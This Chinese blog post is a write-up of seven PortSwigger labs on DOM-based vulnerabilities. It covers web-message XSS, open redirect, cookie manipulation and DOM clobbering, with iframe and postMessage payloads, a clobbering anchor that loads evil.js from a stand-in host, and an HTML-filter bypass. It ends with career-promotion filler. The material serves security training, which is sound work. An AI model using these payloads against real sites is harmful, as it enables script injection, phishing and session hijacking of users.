【burpsuite安全练兵场-客户端15】基于DOM的漏洞-7个实验（全）

于 2024-06-19 17:21:31 发布
阅读量570 收藏 27
点赞数 12
文章标签： 安全 java 开发语言 web安全 php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/baimao__Ch/article/details/139808642
版权

目录

一、基于DOM的漏洞

1、DOM

2、污染流漏洞

3、共同来源

4、会导致基于DOM漏洞的汇点

5、防止基于DOM的污染流漏洞

二、反射型DOM、存储型DOM

三、控制Web消息源

1、简述：

2、影响：

3、使用Web消息作为攻击源构建攻击

实验1：使用Web消息的DOM XSS

实验2：使用Web消息和JavaScript URL的DOM XSS

4、Origin（原产地）核查

实验3：DOM XSS使用Web消息和 JSON.parse

四、基于DOM的开放重定向

1、简述：

2、影响：

实验4：基于DOM的开放重定向

五、基于DOM的cookie操作

1、简述：

2、影响：

实验5：基于DOM的cookie操作

六、DOM clobbering（DOM重锤）

1、简述：

2、利用DOM-clobbering漏洞

实验6：利用DOM乱码实现XSS

3、清除属性绕过

实验7：清除DOM属性以绕过HTML过滤器

一、基于DOM的漏洞

1、DOM

文档对象模型（DOM）是Web浏览器对页面上元素的分层表示。网站可以使用JavaScript来操作DOM的节点和对象，以及它们的属性。DOM操作本身并不是问题。事实上，它是现代网站运作的一个组成部分。但不安全地处理数据的JavaScript可能会导致各种攻击。当网站包含JavaScript时，基于DOM的漏洞就会出现，JavaScript获取攻击者可控制的值（称为源），并将其传递到危险的函数（称为接收器）

2、污染流漏洞

1、许多基于DOM的漏洞可以追溯到客户端代码处理攻击者可控数据的方式问题。

2、要利用或减轻这些漏洞，首先熟悉源和接收器之间污染流的基本知识是很重要的。

1、来源

源是一个JavaScript属性，它接受可能受攻击者控制的数据。来源的一个示例是location.search属性，因为它从查询字符串读取输入，这对于攻击者来说相对容易控制。最终，任何可以被攻击者控制的属性都是潜在的来源。这包括引用URL（由document.referer字符串公开）、用户的cookie（由document.cookie字符串公开）和Web消息。

2、水槽

接收器是一种具有潜在危险的JavaScript函数或DOM对象，如果将攻击者控制的数据传递给它，可能会导致不良影响。例如，eval（）函数是一个接收器，因为它将传递给它的参数作为JavaScript进行处理。document.body.innerHTML就是HTML接收器的一个示例，因为它可能允许攻击者注入恶意HTML并执行任意JavaScript。

3、根本上说，当网站将数据从源传递到接收器，然后接收器在客户端会话的上下文中以不安全的方式处理数据时，就会出现基于DOM的漏洞。

最常见的源是URL，通常使用location对象访问它。 location
object.攻击者可以构建一个链接，通过URL的查询字符串和片段部分中的有效负载将受害者发送到易受攻击的页面。

如代码：
goto = location.hash.slice(1)
if (goto.startsWith('https:')) {
  location = goto;
}

这很容易受到 基于DOM的开放重定向 因为 location.hash以不安全的方式处理源。如果URL包含以开头的哈希片段 https： ，此代码提取
location.hash 属性并将其设置为location的属性在window中。

攻击者可以通过构造以下URL来攻击此漏洞：
https://www.innocent-website.com/example#https://www.evil-user.net

当受害者访问此URL时，JavaScript将设置 位置 属性到 https://www.evil-user.net
，自动将受害者重定向到恶意站点。例如，可以很容易地利用此行为来构造网络钓鱼攻击。

3、共同来源

以下是可用于利用各种污染流漏洞的典型来源：
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

2、以下类型的数据也可用作利用污染流漏洞的来源：反射数据、存储数据、Web消息

4、会导致基于DOM漏洞的汇点

基于DOM的漏洞  水槽示例
DOM XSS       document.write()
打开重定向         window.location
Cookie操作      document.cookie
JavaScript注入      eval()
文档域操作         document.domain
Web套接字URL中毒       WebSocket()
链接操作          element.src
Web消息处理       postMessage()
阿贾克斯请求头操作         setRequestHeader()
本地文件路径操作  FileReader.readAsText()
客户端SQL注入  ExecuteSql()
HTML5-存储操作        sessionStorage.setItem()
客户端XPath注入        document.evaluate()
客户端JSON注入         JSON.parse()
DOM数据处理       element.setAttribute()
拒绝服务          RegExp()

5、防止基于DOM的污染流漏洞

1、简述：无法采取任何单一的操作来完全消除基于DOM的攻击的威胁。但避免基于DOM的漏洞的最有效方法是避免允许来自任何不受信任源的数据动态更改传输到任何接收器的值。

2、防御：如果应用程序所需的功能意味着这种行为是不可避免的，则必须在客户端代码中实现防御措施。在许多情况下，可以在白名单的基础上验证相关数据，只允许已知安全的内容。在其他情况下，则需要对数据进行净化或编码。这可能是一项复杂的任务，并且根据要插入数据的上下文，可能涉及JavaScript转义、HTML编码和URL编码的适当组合。可以采取的防止特定漏洞的措施

二、反射型DOM、存储型DOM

文章：

【BP靶场portswigger-
客户端11】跨站点脚本XSS-20个实验（上）![](https://csdnimg.cn/release/blog_editor_html/release2.2.1/ckeditor/plugins/CsdnLink/icons/icon-
default.png?t=MBR7)https://blog.csdn.net/qq_53079406/article/details/128649361?spm=1001.2014.3001.5501

三、控制Web消息源

1、简述：

1、如果页以不安全的方式处理传入Web消息（如未在事件侦听器中正确验证传入消息的来源），则事件侦听器调用的属性和函数可能会成为接收器。

2、如攻击者可以托管恶意iframe并使用postMessage()方法将Web消息数据传递给有漏洞的事件侦听器，然后该侦听器将有效负载发送给父页面上的接收器。此行为意味着可以使用Web消息作为将恶意数据传播到任何这些接收器的源

2、影响：

1、此漏洞的潜在影响取决于目标文档对传入消息的处理。如果目的地文档信任发送者不会在消息中传输恶意数据，并且通过将数据传递到接收器中来以不安全的方式处理数据，则两个文档的联合行为可能允许攻击者危害安全

3、使用Web消息作为攻击源构建攻击

示例代码：
<script>
window.addEventListener('message', function(e) {
  eval(e.data);
});
</script>

这是易受攻击的，因为攻击者可以通过构造以下内容来注入JavaScript负载iframe：

<iframe src="//vulnerable-website"

οnlοad=“this.contentWindow.postMessage(‘print()’,‘*’)”>

由于事件侦听器不验证消息的来源，并且postMessage()方法指定了targetOrigin
“*”，因此事件侦听器接受有效负载并将其传递到接收器，在本例中为eval()函数

涉及实验：
实验1：使用Web消息的DOM XSS
实验2：使用Web消息和JavaScript URL的DOM XSS

实验1：使用Web消息的DOM XSS

信息：

1、本实验演示一个简单的Web消息漏洞

2、完成实验：使用漏洞攻击服务器向目标站点发布一条消息，使其调用print()函数

part1：

主页包含侦听Web消息的addEventListener()调用

转到漏洞利用服务器并将以下iframe添加到正文（添加自己的实验室ID）

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/"

οnlοad=“this.contentWindow.postMessage(‘’,‘*’)”>

我的是：
<iframe src="https://0a4f00a403524623c3000ce5004900f8.web-security-

academy.net/" οnlοad=“this.contentWindow.postMessage(‘’,‘*’)”>

原理：

加载iframe时，postMessage（）方法向主页发送一条Web消息。事件侦听器用于提供广告，它获取Web消息的内容并将其插入ID为ads的div中。但在本例中，它插入img标记，该标记包含无效的src属性。这会抛出一个错误，导致onerror事件处理程序执行我们的有效负载

part2:
存储漏洞并将其发送给受害者

完成实验

实验2：使用Web消息和JavaScript URL的DOM XSS

信息：

1、本实验演示一个由Web消息触发的基于DOM的重定向漏洞

2、完成实验：在攻击此漏洞的攻击服务器上构建一个HTML页面并调用print()函数

part1:

主页包含侦听Web消息的addEventListener()调用。JavaScript包含一个有缺陷的indexOf()检查，该检查在Web消息中的任何位置查找字符串"http：“或"https：”。它还包含sink
location.href。

转到漏洞利用服务器并将以下iframe添加到正文中（将YOUR-LAB-ID替换为自己实验室ID）

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/"

οnlοad=“this.contentWindow.postMessage(‘javascript:print()//http:’,‘*’)”>

我的是：
<iframe src="https://0a9300b803f84164c13bc20600c100d0.web-security-

academy.net/"
οnlοad=“this.contentWindow.postMessage(‘javascript:print()//http:’,‘*’)”>

原理：

1、此脚本发送包含任意JavaScript有效负载的Web消息以及字符串"http："。第二个参数指定Web消息允许任何targetOrigin。

2、加载iframe时，postMessage()方法将JavaScript有效负载发送到主页。事件侦听器发现"http："字符串，并继续将有效负载发送到location.hrefsink，在这里调用print()函数

part2:
存储漏洞并将其发送给受害者

完成实验

4、Origin（原产地）核查

1、即使事件侦听器确实包含某种形式的来源验证，这个验证步骤有时也可能存在根本性的缺陷

例如，考虑以下代码：
window.addEventListener('message', function(e) {
    if (e.origin.indexOf('normal-website.com') > -1) {
        eval(e.data);
    }
});

1、该 indexOf（索引） 方法用于尝试并验证传入消息的来源是否是 normal-website.com 领域。但实际上，它只检查字符串 "
normal-website.com"包含在原始URL中的任何位置。因此如果攻击者的恶意消息的来源是 http://www.normal-
website.com.evil.net

2、相同的缺陷也适用于依赖于 startsWith() 或 endsWith()方法。

例如，下面的事件侦听器将把 http://www.malicious-websitenormal-website.com 作为安全
window.addEventListener('message', function(e) {
    if (e.origin.endsWith('normal-website.com')) {
        eval(e.data);
    }
});

3、涉及实验：

实验3：DOM XSS使用Web消息和 JSON.parse

实验3：DOM XSS使用Web消息和 JSON.parse

信息：

1、本实验使用Web消息传递并将消息解析为JSON

2、解决实验：在攻击此漏洞的攻击服务器上构建一个HTML页面，并调用print()函数

part1:

主页包含一个侦听Web消息的事件侦听器。此事件侦听器需要使用JSON.parse()解析的字符串。在JavaScript中，可以看到事件侦听器需要一个type属性，并且switch语句的加载通道大小写更改了iframe
src属性

转到漏洞利用服务器并将以下iframe添加到正文中（将YOUR-LAB-ID替换为自己实验室ID）

<iframe src=https://YOUR-LAB-ID.web-security-academy.net/

οnlοad=‘this.contentWindow.postMessage(“{“type”:“load-
channel”,“url”:“javascript:print()”}”,“*”)’>

我的是：
<iframe src=https://0ac700c203e3fab0c2f8bbb5008d002f.web-security-

academy.net/ οnlοad=‘this.contentWindow.postMessage(“{“type”:“load-
channel”,“url”:“javascript:print()”}”,“*”)’>

原理：

1、当构造的iframe加载时，postMessage()方法向主页发送一条类型为load-
channel的Web消息。事件侦听器接收消息，并在将其发送到交换机之前使用JSON.parse()对其进行解析。

2、开关触发加载通道用例，将消息的url属性分配给ACMEplayer.元素iframe的src属性。但在本例中，消息的url属性实际上包含JavaScript有效负载。

3、由于第二个参数指定Web消息允许任何targetOrigin，并且事件处理程序不包含任何形式的源检查，因此有效负载被设置为ACMEplayer.element
iframe的src。当受害者在其浏览器中加载页面时，将调用print()函数。

part2:

存储漏洞并将其发送给受害者

完成实验

四、基于DOM的开放重定向

1、简述：

当脚本将攻击者可控制的数据写入可触发跨域导航的接收器时，会出现基于DOM的开放重定向漏洞。

例如，下面的代码由于处理 location.hash属性：
let url = /https?:\/\/.+/.exec(location.hash);
if (url) {
  location = url[0];
}

攻击者可以利用此漏洞构造URL，如果其他用户访问该URL，则会导致重定向到任意外部域。

2、影响：

1、钓鱼：该行为可被利用来促进针对网站用户的网络钓鱼攻击。使用指向正确域的可信应用程序URL和有效TLS证书（如果使用TLS）的能力为网络钓鱼攻击提供了可信度，因为许多用户即使验证了这些功能，也不会注意到随后重定向到不同的域。

2、JavaScript注入：如果攻击者能够控制传递给重定向API的字符串的开头，则可能将此漏洞升级为JavaScript注入攻击。攻击者可以使用javascript:pseudo-
protocol构建URL，从而在浏览器处理URL时执行任意代码。

3、一些接收器会导致基于DOM的开放重定向漏洞

以下是可能导致基于DOM的开放重定向漏洞的一些主要接收器：
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
element.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

4、涉及实验：
实验4：基于DOM的开放重定向

实验4：基于DOM的开放重定向

信息：

1、本实验包含一个基于DOM的开放重定向漏洞

2、完成实验：攻击此漏洞并将受害者重定向到攻击服务器

part1:

博客文章页面包含以下链接，该链接可返回博客的主页

<a href='#' onclick='returnURL' = /url=https?:\/\/.+)/.exec(location);

if(returnUrl)location.href = returnUrl[1];else location.href = “/”'>Back to
Blog

part2:

url参数包含一个开放的重定向漏洞，该漏洞允许更改“返回博客”链接将用户带到的位置。

解决实验：构建并访问以下URL（更改URL以包含自己实验ID和漏洞利用服务器ID）

https://YOUR-LAB-ID.web-security-

academy.net/post?postId=4&url=https://YOUR-EXPLOIT-SERVER-ID.exploit-
server.net/

我的是：
https://0a2400c804958bd0c2396162004a00eb.web-security-

academy.net/post?postId=4&url=https://exploit-0ac4000704568b43c2016057014e0016.exploit-
server.net/

五、基于DOM的cookie操作

1、简述：

1、某些基于DOM的漏洞使得攻击者能够操纵通常无法控制的数据。这会将通常安全的数据类型（如Cookie）转换为潜在的源。当脚本将攻击者可控制的数据写入Cookie的值时，就会出现基于DOM的Cookie操作漏洞

2、攻击者可以利用此漏洞构造一个URL，如果其他用户访问该URL，则会在用户的Cookie中设置任意值。许多接收器本身基本上是无害的，但基于DOM的Cookie操纵攻击表明，低严重性漏洞有时可被用作高严重性攻击的利用链的一部分。

例如，如果JavaScript将数据源中的数据写入document.cookie，而不首先对其进行清理，攻击者就可以操纵单个cookie的值以注入任意值：
document.cookie = ‘cookieName=’+location.hash.slice(1);

如果网站不安全地反映来自cookie的值，而不对它们进行HTML编码，攻击者就可以使用cookie操纵技术来利用此行为

3、一些接收器会导致基于DOM的cookie操作漏洞

document.cookie接收器可能导致基于DOM的cookie操作漏洞

2、影响：

1、此漏洞的潜在影响取决于Cookie在网站中所扮演的角色。如果Cookie用于控制某些用户操作（如设置）导致的行为，则攻击者可能能够通过操纵Cookie的值使用户执行意外操作。

2、如果cookie用于跟踪用户的会话，则攻击者可能能够执行会话固定攻击，在该攻击中将cookie的值设置为从网站获得的有效令牌，然后在受害者随后与网站交互期间劫持会话。像这样的cookie操作漏洞不仅可用于攻击易受攻击的网站，还可用于攻击同一父域下的任何其他网站

涉及实验：

实验5：基于DOM的cookie操作

实验5：基于DOM的cookie操作

信息：

1、本实验演示基于DOM的客户端Cookie操作

2、完成实验：注入一个cookie，它将在不同的页面上导致XSS，并调用print（）函数。您需要使用利用漏洞攻击服务器将受害者引导到正确的页面。

part1:

主页使用名为lastViewedProduct的客户端Cookie，其值是用户访问的最后一个产品页面的URL（第一个产品是跳转到最后一个产品）

（最后一个产品是跳转到第一个产品）

cookie值与页面的跳转有直接的关联

转到漏洞利用服务器并将以下iframe添加到正文中（将YOUR-LAB-ID替换为自己实验室ID）

<iframe src="https://YOUR-LAB-ID.web-security-

academy.net/product?productId=1&'>"
οnlοad=“if(!window.x)this.src=‘https://0a3a009f03de75bac008456600e30070.web-
security-academy.net’;window.x=1;”>

原理：

iframe的原始源代码与其中一个产品页面的URL匹配，只是在末尾添加了一个JavaScript有效负载。首次加载iframe时，浏览器会临时打开恶意URL，然后将其保存为lastViewedProduct
Cookie的值。onload事件处理程序确保受害者立即被重定向到主页，而不知道这种操作曾经发生过。当受害者的浏览器保存了中毒的cookie时，加载主页将导致有效负载执行。

part2:

存储漏洞并将其发送给受害者

完成实验

六、DOM clobbering（DOM重锤）

1、简述：

1、DOM clobbering：是一种将HTML注入页面以操作DOM并最终更改页面上JavaScript行为的技术。DOM
clobbering在XSS不可行的情况下特别有用，但是可以控制页面上的某些HTML，在这些页面上，属性id或name被HTML过滤器列入白名单。XSS
是不可能的，但可以在 HTML 过滤器将属性 id 或名称白名单列出的页面上控制一些 HTML 。DOM
clobbering最常见的形式是使用锚元素覆盖全局变量，然后应用程序以不安全的方式使用该变量，例如生成动态脚本URL。

2、术语clobbering来自这样一个事实，即您正在“clobbering”对象的全局变量或属性，并用DOM节点或HTML集合覆盖它。如可以使用DOM对象覆盖其他JavaScript对象，并利用不安全的名称（如submit）来干扰表单的实际submit()函数

2、利用DOM-clobbering漏洞

1、JavaScript开发人员常用的模式是：

var someObject = window.someObject || {};

2、如果可以控制页面上的一些HTML，则可以使用DOM节点（如锚点anchor）来重命名someObject引用。使用 DOM 节点(例如锚)的
some 对象引用。

示例代码：
<script>
    window.onload = function(){
        let someObject = window.someObject || {};
        let script = document.createElement('script');
        script.src = someObject.url;
        document.body.appendChild(script);
    };
</script>

要利用此易受攻击的代码，可以插入以下HTML来攻击 某些对象使用锚元素进行引用：

<a id=someObject><a id=someObject name=url href=//malicious-

website.com/evil.js>

由于这两个锚点使用相同的ID，DOM将它们组合在一个DOM集合中。然后，DOM clobbering向量将重写 某些对象使用此DOM集合引用。A类 姓名
属性用于最后一个定位点元素，以便清除url的属性someObject对象，该对象指向外部脚本

3、涉及实验：

实验6：利用DOM乱码实现XSS

实验6：利用DOM乱码实现XSS

信息：

1、本实验包含DOM攻击漏洞。注释功能允许“安全”HTML

2、完成实验：构造一个HTML注入，该注入会对一个变量进行clobbers，并使用XSS调用alert()函数

part1:

转到其中一篇博客文章并创建包含以下锚点的评论，并返回博客

<a id=defaultAvatar><a id=defaultAvatar name=avatar

href="cid:“οnerrοr=alert(1)//”>

返回到博客文章并创建包含任意文本的第二条评论，并返回博客

加载该页时，将调用alert

特定博客文章的页面导入JavaScript文件loadCommentsWithDomPurify.js，该文件包含以下代码：

let defaultAvatar = window.defaultAvatar || {avatar:

‘/resources/images/avatarDefault.svg’}

1、defaultAvatar对象是使用包含逻辑OR运算符和全局变量的危险模式实现的。这使得它很容易受到DOM clobbering

2、可以使用锚标记来clobber这个对象。创建两个具有相同ID的锚点会导致它们被分组到DOM集合中。第二个锚中的name属性包含值“avatar”，这将用href属性的内容来重敲avatar属性

3、该站点使用DOMPurify过滤器来尝试减少基于DOM的漏洞。但DOMPurify允许您使用cid:协议，该协议不对双引号进行URL编码。这意味着可以注入一个编码的双引号，它将在运行时解码。结果，上述注入将导致defaultAvatar变量被分配clobbered属性{avatar:
‘cid:"οnerrοr=alert(1)//’}下次加载该页时

4、当进行第二次发布时，浏览器将使用新的clobbed全局变量，该变量将在onerror事件处理程序中隐藏有效负载并触发alert()

3、清除属性绕过

1、另一种常见的技术是将form元素与input之类的元素沿着使用，以破坏DOM属性。如通过对attributes属性进行重命名，可以绕过在逻辑中使用该属性的客户端筛选器。尽管过滤器将枚举attributes属性，但它实际上不会删除任何属性，因为该属性已被DOM节点破坏。因此将能够注入通常会被过滤掉的恶意属性。

例如
<form onclick=alert(1)><input id=attributes>Click me

2、在这种情况下，客户端过滤器将遍历DOM并遇到白名单form元素。通常滤波器将通过attributes的属性form元素并移除任何列入黑名单的属性。但由于attributes财产已经被洗劫一空input元素，则筛选器循环通过input元素。作为input元素具有未定义的长度，则for
滤波器的环路（如
i<element.attributes.length），过滤器简单地移动到下一个元素。这将导致onclick事件被筛选器完全忽略，筛选器随后允许alert()要在浏览器中调用的函数

3、涉及实验：

实验7：清除DOM属性以绕过HTML过滤器

实验7：清除DOM属性以绕过HTML过滤器

信息：

1、本实验使用HTMLJanitor库，该库容易受到DOM错误的攻击

2、完成实验：构造一个绕过过滤器的向量，并使用DOM
clobbering注入一个调用print()函数的向量。需要使用漏洞攻击服务器才能使向量在受害者的浏览器中自动执行。

part1：

转到其中一个博客文章并创建包含以下HTML的评论：

<form id=x tabindex=0 onfocus=print()><input id=attributes>

转到漏洞利用服务器并将以下iframe添加到正文

（更改URL以包含自己实验ID，并确保postId参数与在上一步中注入HTML的博客文章的postId匹配）

<iframe src=https://YOUR-LAB-ID.web-security-academy.net/post?postId=8

οnlοad=“setTimeout(()=>this.src=this.src+‘#x’,500)”>

我的是：
<iframe src=https://0ac600710412b7b5c0050b12005c000b.web-security-

academy.net/post?postId=8
οnlοad=“setTimeout(()=>this.src=this.src+‘#x’,500)”>

1、库使用attributes属性筛选HTML属性。但仍然有可能破坏attributes属性本身，从而导致长度未定义。这允许向表单元素注入任何所需的属性。在本例中使用onfocus属性来隐藏print()函数。

2、加载iframe时，在500ms延迟后，它会将#x片段添加到页面URL的末尾。为了确保在执行JavaScript之前加载包含注入的注释，延迟是必要的。这会使浏览器关注ID为"x"的元素，这就是在注释内部创建的表单。onfocus事件处理程序随后调用print()函数

part2：

存储漏洞并将其发送给受害者。下次加载页面时，将调用print()函数

发送给受害者，完成实验

!(https://img-blog.csdnimg.cn/7d62be979184459ab44139ed85f387fe.png)

e题外话

初入计算机行业的人或者大学计算机相关专业毕业生，很多因缺少实战经验，就业处处碰壁。下面我们来看两组数据：

2023届全国高校毕业生预计达到1158万人，就业形势严峻；

国家网络安全宣传周公布的数据显示，到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻，一方面是网络安全人才百万缺口。

6月9日，麦可思研究2023年版就业蓝皮书（包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》）正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中，本科计算机类专业起薪与2021届基本持平，高职自动化类月收入增长明显，2022届反超铁道运输类专业（5295元）排在第一位。

具体看专业，2022届本科月收入较高的专业是信息安全（7579元）。对比2018届，电子科学与技术、自动化等与人工智能相关的本科专业表现不俗，较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼，已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
“没有网络安全就没有国家安全”。当前，网络安全已被提升到国家战略的高度，成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高，涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万！

img

2、人才缺口大，就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表：我国网络空间安全人才 需求140万人，而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W，现在从事网络安全行业的从业人员只有10W人。
img

行业发展空间大，岗位非常多

网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性，尤其是掌握工作中的核心网络架构、安全技术，在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一路看涨，这也是为什么受大家欢迎的主要原因。

从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

1.学习路线图

行业发展空间大，岗位非常多

网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性，尤其是掌握工作中的核心网络架构、安全技术，在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一路看涨，这也是为什么受大家欢迎的主要原因。

从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

1.学习路线图

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等，都是网络安全入门必知必会的学习内容。

3.技术文档和电子书

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包，需要的话也可以拿走。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

img

baimao__沧海
关注
  • 12
    点赞
  • 踩
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
MS08067 “安全练兵场”战术空袭~
Ms08067安全实验室
10-18 2139
成立"安全练兵场"的目的目前，安全行业热度逐年增加，很多新手安全从业人员在获取技术知识时，会局限于少量的实战中，技术理解得不到升华，只会像个脚本小子照着代码敲命令，遇到实战时自乱阵脚，影响...
Dom型XSS—漏洞
希望我的博客，能帮上你解决学习中工作中所遇到的问题
05-28 769
Dom型XSS—漏洞 原理：让原本不存在Xss的地方出现Xss，利用native编码去替换js语句，让前端认为这个js语句安全 我们首先在各个框框内插入 <script>alert(1)</script> 结果页面崩溃，再次访问发现 被拦截了,于是我们尝试绕过，在url栏输入/index.php/1.txt 成功绕过,继续输入 <script>alert(1)</script> 发现没有出现弹窗，可能不存在Xss漏洞 接着我发现，在URL栏上的传参和页面上
双11三连击 之 131个现金红包任性送
Ms08067安全实验室
11-07 86
Fun肆双十一，惊喜狂欢享2022.11.07-11.13— 实验室旗下直播培训课程 —惊喜一：新学员购买以上任意一门直播课程赠送任意一个MS08067知识星球（6选1），多买多送。报两门课程额外再减200元，三门课程减300元，以此类推。惊喜二：老学员及星球成员（限2022.11.6号前加入）购买以上任意一门直播课程立减200元，二门课程立减400元，以此类推。且报两门课程再赠送任意一个知识...
安全练兵场-HackTheBox系列之Secret
Ms08067安全实验室
12-02 145
文章来源｜MS08067 安全练兵场 知识星球本文作者：godunt（安全练兵场星球合伙人）玩靶场 认准安全练兵场成立"安全练兵场"的目的目前，安全行业热度逐年增加，很多新手安全从业人员在获取技术知识时，会局限于少量的实战中，技术理解得不到升华，只会像个脚本小子照着代码敲命令，遇到实战时自乱阵脚，影响心态的同时却自叹不如。而安全练兵场是由理论知识到实战过渡的一道大门，安全练兵场星球鼓励大家从实战中...
BurpSuite手册-017-Burp Suite tools-dom invader
07-01
本人自己翻译的Burp Suite 专业版的中文手册，陆续更新，请期待
BurpSuite手册-015-Burp Suite tools-logger
07-01
Burp Suite 是一款强大的Web应用程序安全测试平台，包含多个工具，旨在帮助安全专家进行渗透测试和漏洞检测。本文主要关注其内置的Logger组件，这是一个记录和分析HTTP流量的工具，对于理解和诊断测试过程中的问题...
burp-unauth-checker:burpsuite扩展程序，用于检查未经授权的漏洞
04-15
burp-unauth-checker概述自动化检测未授权访问漏洞关于该插件的实现细节，参考快速开始使用时需要勾选launchBurpUnauthChecker，建议在测试需要授权访问的功能时才开启（如网站后台）authParams.cfg：存储授权参数，...
BurpSuite手册-016-Burp Suite tools-inspector
07-01
本人自己翻译的Burp Suite 专业版的中文手册，陆续更新，请期待
BurpSuite手册-014-Burp Suite tools-extender
06-30
本人自己翻译的Burp Suite 专业版的中文手册，陆续更新，请期待
cracer安全学院内部练习靶场
04-13
这是最新大佬分享出来的靶机下载地址，是最新的cracer大佬的靶机地址，解压密码在压缩包内打开即可看到解压密码。希望大家能够希望
PortSwigger 基于 DOM 的漏洞
weixin_42451330的博客
03-06 453
本文介绍PortSwigger靶场 DOM漏洞，包括DOM漏洞介绍、利用方式、防御措施等。如有疑问欢迎私聊。
【安全练兵场】| BurpSuite靶场系列之身份验证
Ms08067安全实验室
10-18 202
文章来源｜MS08067 安全练兵场 知识星球本文作者：godunt（安全练兵场星球合伙人）玩靶场 认准安全练兵场成立"安全练兵场"的目的目前，安全行业热度逐年增加，很多新手安全从业人员在获取技术知识时，会局限于少量的实战中，技术理解得不到升华，只会像个脚本小子照着代码敲命令，遇到实战时自乱阵脚，影响心态的同时却自叹不如。而安全练兵场是由理论知识到实战过渡的一道大门，安全练兵场星球鼓励大家从实战中...
带你刷burpsuite官方网络安全学院靶场(练兵场)之客户端漏洞——跨站请求伪造(CSRF)专题
HBohan的博客
08-05 1785
介绍 PortSwigger是信息安全从业者必备工具burpsuite的发行商，作为网络空间安全的领导者，他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场)，在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习，本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考，希望能对初学者们有所帮助。 什么是CSRF？ CSRF全称为cross-site request forgery，译为跨站请求伪造。有的站点会采用同源策略，如果想要利用受害者身份去执
Dom型XSS跨站脚本攻击和防御
认知 行动 坚持
07-05 8240
在前面的文章中，我们讲了持久型XSS和反射型XSS, 我个人觉得这些命名真的很贴切，反应了概念的本质。 无论是持久型XSS还是反射型XSS, 恶意的js脚本内容都需要由服务端返回给用户，今天我们要说的Dom型XSS却例外，一起来看看。
XSS漏洞三大类型
一醉一休的博客
03-03 6591
